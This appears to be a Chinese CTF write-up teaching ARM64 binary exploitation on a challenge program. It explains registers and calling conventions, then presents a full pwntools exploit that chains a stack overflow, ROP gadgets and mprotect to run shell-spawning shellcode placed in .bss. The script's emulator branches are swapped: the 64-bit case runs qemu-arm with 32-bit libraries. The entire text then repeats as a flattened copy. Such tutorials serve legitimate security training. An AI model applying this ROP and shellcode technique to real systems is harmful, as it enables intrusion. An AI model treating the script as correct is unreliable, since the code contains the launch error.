ARMPWN初探-题目复现
字数 2149 2025-08-07 08:22:25

ARM PWN 入门教程:题目复现与分析

0x00 前置知识

ARM 数据类型和寄存器

数据类型

  • ARM 架构支持多种数据类型,包括字节(8位)、半字(16位)、字(32位)和双字(64位)
  • 字节序可以是小端(Little-Endian)或大端(Big-Endian)

寄存器

  • ARM 架构有 16 个通用寄存器(R0-R15)
  • 特殊寄存器:
    • PC (R15):程序计数器
    • LR (R14):链接寄存器,保存返回地址
    • SP (R13):堆栈指针
    • CPSR:当前程序状态寄存器

32位ARM的约定

  • ATPCS(ARM-Thumb Procedure Call Standard)规定:
    • 堆栈是满递减堆栈(FD)
    • 返回32位整数时,使用R0返回
    • 返回64位值时,R0返回低位,R1返回高位
  • 子程序调用时必须保存的寄存器:R4-R11和SP
  • 不需要保存的寄存器:R0-R3、R12
  • 参数传递:
    • 前4个参数通过R0-R3传递
    • 第5个及以后的参数通过堆栈传递(SP访问第5个,SP+4访问第6个,以此类推)

64位ARM的约定

  • 子程序调用时必须保存的寄存器:X19-X29和SP(X31)
  • 不需要保存的寄存器:X0-X7、X9-X15
  • 参数传递:
    • 前8个参数通过X0-X7传递
    • 第9个及以后的参数通过堆栈传递(SP访问第9个,SP+8访问第10个,以此类推)

32位与64位寄存器的差异

  • 32位ARM:寄存器命名为R0-R15
  • 64位ARM:寄存器命名为X0-X30(64位)或W0-W30(32位)
  • 部分32位存在的指令在64位下不存在(如vswp)

ARM指令集

ARM处理器状态

  • ARM状态:32位指令
  • Thumb状态:16位指令
  • 编写shellcode时,通常使用Thumb指令以减少NULL字节的出现

ARM指令简介

  • 基本格式:MNEMONIC {S} {condition} {Rd}, Operand1, Operand2
    • S:设置条件标志
    • condition:执行条件
    • Rd:目标寄存器
  • 条件执行:与CPSR寄存器的值紧密相关

32位ARM指令特点

  • 使用加载存储模型进行内存访问
  • 只有LDR(加载)和STR(存储)指令能直接访问内存
  • 其他指令只能操作寄存器

0x01 查看程序信息

  • 程序类型:64位ARM架构,动态链接
  • 保护机制:
    • 开启NX(不可执行栈)
    • 部分RELRO(重定位只读)

0x02 动态分析

  • 程序有两个输入点:
    1. 第一个输入点(powercat):输入存储在.bss段
    2. 第二个输入点(cat):可能存在栈溢出漏洞
  • 测试发现第二个输入点输入长字符串会导致段错误(Segmentation fault),确认存在栈溢出漏洞

0x03 静态分析

  • main函数结构简单:
    1. 读取名字到.bss段(全局变量unk_411068)
    2. 调用函数sub_4007F0
  • sub_4007F0函数:
    • 局部变量v1的缓冲区空间不大
    • 允许输入0x200字节数据,远超缓冲区大小
  • 发现关键函数mprotect:
    • 可用于修改内存页权限
    • 函数原型:int mprotect(const void *start, size_t len, int prot)

0x04 利用思路

攻击步骤

  1. 通过第一个输入点将shellcode写入.bss段
  2. 利用mprotect将.bss段设置为可执行
  3. 通过栈溢出劫持控制流到.bss段执行shellcode

ARM64传参机制

  • 前8个参数通过X0-X7传递
  • 第9个及以后的参数通过堆栈传递
  • mprotect需要3个参数:
    • X0: 起始地址
    • X1: 长度
    • X2: 权限标志

ROP链构造

  • 需要找到合适的gadget来设置寄存器值
  • 关键gadget:
    • gadget1(0x4008CC):从堆栈加载数据到寄存器
    • gadget2(0x4008AC):寄存器间数据传输和函数调用

栈布局分析

  • 缓冲区溢出需要填充0x48字节垃圾数据
  • 后续构造ROP链:
    • gadget1地址
    • 填充数据
    • gadget2地址
    • 寄存器设置值
    • mprotect参数
    • shellcode地址

利用代码实现

shellcode部署

  • 使用aarch64架构的shellcode
  • 不能使用x86架构的shellcode生成方式
  • 正确生成方式:asm(shellcraft.aarch64.sh())

完整exp示例

#encoding = utf-8
from pwn import *

context.log_level = "debug"
context.arch = 'aarch64'
context.os = 'linux'

binary = "pwn"
local = 1
arm = 1
core = 64

if local:
    if arm:
        if core == 64:
            p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
        else:
            p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = process(binary)
else:
    p = remote(ip,port)

elf = ELF(binary)

mprotect_plt = elf.plt['mprotect']
gadget1 = 0x4008CC
gadget2 = 0x4008AC
mprotect_addr = 0x411068  # bss段地址
shellcode_addr = 0x411070
shellcode = asm(shellcraft.aarch64.sh())

def pwn():
    # 第一阶段:部署shellcode到.bss段
    payload = p64(mprotect_plt)
    payload += shellcode
    p.sendlineafter('Name:', payload)

    # 第二阶段:栈溢出利用
    payload = 'a'*0x48  # 填充缓冲区
    payload += p64(gadget1)  # 第一个gadget地址
    payload += p64(0)  # 填充
    payload += p64(gadget2)  # 第二个gadget地址
    payload += p64(0x0)  # x19
    payload += p64(0x1)  # x20 (x19+1必须等于x20)
    payload += p64(mprotect_addr)  # x3 (函数地址)
    payload += p64(0x7)  # 权限标志(PROT_READ|PROT_WRITE|PROT_EXEC)
    payload += p64(0x1000)  # 长度
    payload += p64(0)  # 填充
    payload += p64(shellcode_addr)  # 返回到shellcode
    
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    pwn()

关键点总结

  1. ARM架构差异

    • 32位和64位ARM在寄存器使用、调用约定上有显著差异
    • 指令集不完全相同,部分32位指令在64位下不可用
  2. 调试环境搭建

    • 使用qemu模拟ARM环境
    • 需要指定正确的库路径(-L参数)
  3. shellcode生成

    • 必须使用对应架构的shellcode
    • 错误使用x86 shellcode会导致利用失败
  4. ROP链构造

    • 需要仔细分析gadget的功能
    • 注意寄存器间的依赖关系(如x19+1必须等于x20)
  5. 内存权限修改

    • mprotect是绕过NX保护的关键
    • 需要正确设置起始地址、长度和权限标志

通过这个案例,我们学习了ARM架构下的漏洞利用基本方法,包括shellcode部署、ROP链构造和内存权限修改等技术。这些技术在ARM平台漏洞利用中具有普遍适用性。

ARM PWN 入门教程:题目复现与分析 0x00 前置知识 ARM 数据类型和寄存器 数据类型 ARM 架构支持多种数据类型,包括字节(8位)、半字(16位)、字(32位)和双字(64位) 字节序可以是小端(Little-Endian)或大端(Big-Endian) 寄存器 ARM 架构有 16 个通用寄存器(R0-R15) 特殊寄存器: PC (R15):程序计数器 LR (R14):链接寄存器,保存返回地址 SP (R13):堆栈指针 CPSR:当前程序状态寄存器 32位ARM的约定 ATPCS(ARM-Thumb Procedure Call Standard)规定: 堆栈是满递减堆栈(FD) 返回32位整数时,使用R0返回 返回64位值时,R0返回低位,R1返回高位 子程序调用时必须保存的寄存器:R4-R11和SP 不需要保存的寄存器:R0-R3、R12 参数传递: 前4个参数通过R0-R3传递 第5个及以后的参数通过堆栈传递(SP访问第5个,SP+4访问第6个,以此类推) 64位ARM的约定 子程序调用时必须保存的寄存器:X19-X29和SP(X31) 不需要保存的寄存器:X0-X7、X9-X15 参数传递: 前8个参数通过X0-X7传递 第9个及以后的参数通过堆栈传递(SP访问第9个,SP+8访问第10个,以此类推) 32位与64位寄存器的差异 32位ARM:寄存器命名为R0-R15 64位ARM:寄存器命名为X0-X30(64位)或W0-W30(32位) 部分32位存在的指令在64位下不存在(如vswp) ARM指令集 ARM处理器状态 ARM状态:32位指令 Thumb状态:16位指令 编写shellcode时,通常使用Thumb指令以减少NULL字节的出现 ARM指令简介 基本格式: MNEMONIC {S} {condition} {Rd}, Operand1, Operand2 S:设置条件标志 condition:执行条件 Rd:目标寄存器 条件执行:与CPSR寄存器的值紧密相关 32位ARM指令特点 使用加载存储模型进行内存访问 只有LDR(加载)和STR(存储)指令能直接访问内存 其他指令只能操作寄存器 0x01 查看程序信息 程序类型:64位ARM架构,动态链接 保护机制: 开启NX(不可执行栈) 部分RELRO(重定位只读) 0x02 动态分析 程序有两个输入点: 第一个输入点(powercat):输入存储在.bss段 第二个输入点(cat):可能存在栈溢出漏洞 测试发现第二个输入点输入长字符串会导致段错误(Segmentation fault),确认存在栈溢出漏洞 0x03 静态分析 main函数结构简单: 读取名字到.bss段(全局变量unk_ 411068) 调用函数sub_ 4007F0 sub_ 4007F0函数: 局部变量v1的缓冲区空间不大 允许输入0x200字节数据,远超缓冲区大小 发现关键函数mprotect: 可用于修改内存页权限 函数原型: int mprotect(const void *start, size_t len, int prot) 0x04 利用思路 攻击步骤 通过第一个输入点将shellcode写入.bss段 利用mprotect将.bss段设置为可执行 通过栈溢出劫持控制流到.bss段执行shellcode ARM64传参机制 前8个参数通过X0-X7传递 第9个及以后的参数通过堆栈传递 mprotect需要3个参数: X0: 起始地址 X1: 长度 X2: 权限标志 ROP链构造 需要找到合适的gadget来设置寄存器值 关键gadget: gadget1(0x4008CC):从堆栈加载数据到寄存器 gadget2(0x4008AC):寄存器间数据传输和函数调用 栈布局分析 缓冲区溢出需要填充0x48字节垃圾数据 后续构造ROP链: gadget1地址 填充数据 gadget2地址 寄存器设置值 mprotect参数 shellcode地址 利用代码实现 shellcode部署 使用aarch64架构的shellcode 不能使用x86架构的shellcode生成方式 正确生成方式: asm(shellcraft.aarch64.sh()) 完整exp示例 关键点总结 ARM架构差异 : 32位和64位ARM在寄存器使用、调用约定上有显著差异 指令集不完全相同,部分32位指令在64位下不可用 调试环境搭建 : 使用qemu模拟ARM环境 需要指定正确的库路径(-L参数) shellcode生成 : 必须使用对应架构的shellcode 错误使用x86 shellcode会导致利用失败 ROP链构造 : 需要仔细分析gadget的功能 注意寄存器间的依赖关系(如x19+1必须等于x20) 内存权限修改 : mprotect是绕过NX保护的关键 需要正确设置起始地址、长度和权限标志 通过这个案例,我们学习了ARM架构下的漏洞利用基本方法,包括shellcode部署、ROP链构造和内存权限修改等技术。这些技术在ARM平台漏洞利用中具有普遍适用性。